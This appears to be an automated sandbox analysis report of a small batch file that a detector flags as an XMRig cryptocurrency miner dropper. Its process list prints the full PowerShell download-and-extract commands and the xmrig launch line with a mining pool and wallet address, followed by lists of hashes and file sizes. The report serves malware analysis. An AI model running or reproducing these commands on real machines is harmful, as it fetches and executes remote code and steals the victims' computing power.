Analysis
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max time kernel
1793s -
max time network
1793s -
platform
windows10-1703_x64 -
resource
win10-20231215-en -
resource tags
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submitted
25-12-2023 11:46
General
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Target
tesy - Copy.bat
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Size
608B
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MD5
727c8da0478af118c957ae60f7161cab
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SHA1
cf18105b8659e93bbd2824fa35ef1bae7b395301
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SHA256
97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab
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SHA512
d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01
Malware Config
Extracted
https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip
Signatures
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XMRig Miner payload 64 IoCs
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xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
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Blocklisted process makes network request 2 IoCs
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Executes dropped EXE 1 IoCs
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Suspicious behavior: EnumeratesProcesses 6 IoCs
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Suspicious behavior: LoadsDriver 1 IoCs
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Suspicious use of AdjustPrivilegeToken 4 IoCs
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Suspicious use of FindShellTrayWindow 1 IoCs
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Suspicious use of WriteProcessMemory 6 IoCs
Processes
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy.bat"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exexmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b142⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
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Network
MITRE ATT&CK Matrix
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
3KB
MD556efdb5a0f10b5eece165de4f8c9d799
SHA1fa5de7ca343b018c3bfeab692545eb544c244e16
SHA2566c4e3fefc4faa1876a72c0964373c5fa08d3ab074eec7b1313b3e8410b9cb108
SHA51291e50779bbae7013c492ea48211d6b181175bfed38bf4b451925d5812e887c555528502316bbd4c4ab1f21693d77b700c44786429f88f60f7d92f21e46ea5ddc
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Filesize
1KB
MD5abb280cdcdef45ff7dce6c3214397df1
SHA1cdfddddfc9d9700758701c369981700334c092f6
SHA256489283f9a0572b25d07713e34aaea3b0ef554e770cda2f1301cb583aff280a86
SHA5121fbdc7092cca0636818b123206562120a0a23919c7dc566562bcc36ed075b9f9a806e779551c269daca9e8833975249d48a1e0461977a9e9dc73701a0097efab
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Filesize
1B
MD5c4ca4238a0b923820dcc509a6f75849b
SHA1356a192b7913b04c54574d18c28d46e6395428ab
SHA2566b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b
SHA5124dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a
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Filesize
3.2MB
MD54b2275e8df65719009314a0a23a45558
SHA195fbef4629f6ace3dba90df63a9825e503e3c7eb
SHA2564b8e7ff95e742973fb9c8c38ac68f6a1e692b05415036e1c92ee201b3b0e6699
SHA512afb324ca3377dc8076d739dde9424ece01b32936b61fd92d5897625f296572637c061068a22a45fbd3e9565be9cb6e35b8f5b9f6c13c5f612443c03d1b04a91f
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Filesize
5.1MB
MD50fdaef0a1c4c48e5acd6af8c99754241
SHA15352fce41b214dd5a0932d0f96e88635793ae987
SHA2567fd9cae072bf148ae7826f2b9d084dcc9cdec7511a64c622da3e6ae3ce5b1f1d
SHA512e0c75c9f91211e27ab8fae2231623546ae96fb4e0804b17b7e45a7541dccf8d03bc69ac4a1ac0ad5f8d18ea87f79e6ff809f59c89a4d6b3d910dff557c59a92e
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Filesize
136KB
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Filesize
9.9MB
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Filesize
64KB
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Filesize
64KB
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Filesize
472KB
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Filesize
64KB
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Filesize
9.9MB
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Filesize
64KB
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Filesize
64KB
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Filesize
64KB
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Filesize
9.9MB
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Filesize
9.9MB
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Filesize
64KB
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Filesize
64KB
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Filesize
64KB
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Filesize
72KB
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Filesize
40KB
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Filesize
9.9MB
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Filesize
11.0MB
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Filesize
11.0MB
-
Filesize
11.0MB
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Filesize
11.0MB
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Filesize
128KB
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Filesize
128KB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
128KB
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Filesize
128KB
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Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
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Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
128KB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
256KB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
-
Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB
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Filesize
11.0MB